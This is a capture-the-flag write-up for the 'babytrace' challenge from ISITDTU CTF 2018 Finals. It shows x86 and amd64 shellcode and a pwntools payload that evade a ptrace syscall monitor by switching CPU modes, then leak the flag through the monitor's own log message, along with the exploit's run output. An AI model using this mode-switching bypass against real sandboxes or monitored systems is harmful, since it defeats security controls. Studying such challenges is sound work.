ISITDTU CTF 2018 Finals - babytrace
nc 10.7.3.94 31337
Attachment: babytrace babytrace.py xpl.py
$ file babytrace
babytrace: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=67c237b735a73ebb78528e9c220f9c89f260c36f, not stripped
This one was a bit tricky :)
On the remote server a babytrace.py
script is running, which let’s us enter shellcode and then executes it via the babytrace
binary.
The downside here is, that the script ptrace
s all syscalls in the binary and drops with an error message, if we try to open /home/babytrace/flag
:
[CRITICAL] Found sys_open /home/babytrace/flag
It also contains a list of syscalls, which which will be blacklisted. The script will also break, if we access one of those syscalls. Thus, we cannot just pop a shell, since execve
is blacklisted, so where to go from here?
Well, since the machine, the binary is running on is 64 bit, we can switch between x86
and amd64
mode in our shellcode with
call 0x33:0x804a100
and getting back into x86
mode via
retf
We can abuse this, to switch to amd64
mode and use open
there, to open the flag file. The ptrace
script won’t catch it, since it’s looking for x86
syscalls.
# x86 shellcode
SC1 = """
call 0x33:0x804a100
"""
# amd64 shellcode
SC2 = """
xor rax, rax
mov al, 2
mov rdi, 0x804a132
xor rsi, rsi
xor rdx, rdx
syscall
xor rax, rax
mov al, 0
xor rdi, rdi
mov di, 3
xor rsi, rsi
mov rsi, 0x804a146
xor rdx, rdx
mov dl, 100
syscall
retf
"""
...
# pass the x86 shellcode
payload = asm(SC1, os="linux", arch="x86")
payload += "\x90"*(0x100-0x40-len(payload))
# pass the amd64 shellcode
payload += asm(SC2, os="linux", arch="amd64")
# pass the flag file to read
payload += "/home/babytrace/flag\x00"
Our payload now contains x86
and amd64
shellcode at once :)
When call 0x33:0x804a100
from the first shellcode gets executed, it will switch to amd64
mode and jump into our second shellcode SC2
, where we can now just use amd64
syscalls to open and read the flag.
But still a big problem remains: We have no access to any file descriptor from the running python script. It only reads input from us once, sends it to the binary and from then on, we’ll only be able to receive the logging output from the python script.
How can we now exfiltrate the flag from the remote server without being able to do a write whatever
.
Remember the first issue with the binary trying to hinder us on opening a file, that contains the word flag
?
[CRITICAL] Found sys_open /home/babytrace/flag
Well, it just killed itself with this :)
When reading the content of the flag file, we’ll just read it directly behind the flag filename itself. Then we can switch back to x86
mode with retf
, and now we’ll just try to open this file from x86
mode again.
SC1 = """
call 0x33:0x804a100
xor eax, eax
mov al, 5
mov ebx, 0x804a132
xor ecx, ecx
xor edx, edx
int 0x80
"""
Since we’re back in x86
now, the python script will watch over our syscalls again and see that we’re trying to open the flag file and tells us that this won’t be possible (and exfiltrate the flag itself for us in this way)
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
[....../.] Opening connection to 35.231.236.101 on port 2222: Trying 35.231.236.101
[+] Opening connection to 35.231.236.101 on port 2222: Done
[*] Switching to interactive mode
[x] Starting local process '/home/babytrace/babytrace'
[+] Starting local process '/home/babytrace/babytrace': pid 901
[*] [901] Start Trace Process
[CRITICAL] Found sys_open /home/babytrace/flagISITDTU{86301860ff47bc6beb82e7f9f79e4c1daca85db7}
[*] [901] Finish Trace Process
INFO:pwnlib.exploit:[901] Finish Trace Process
ISITDTU{86301860ff47bc6beb82e7f9f79e4c1daca85db7}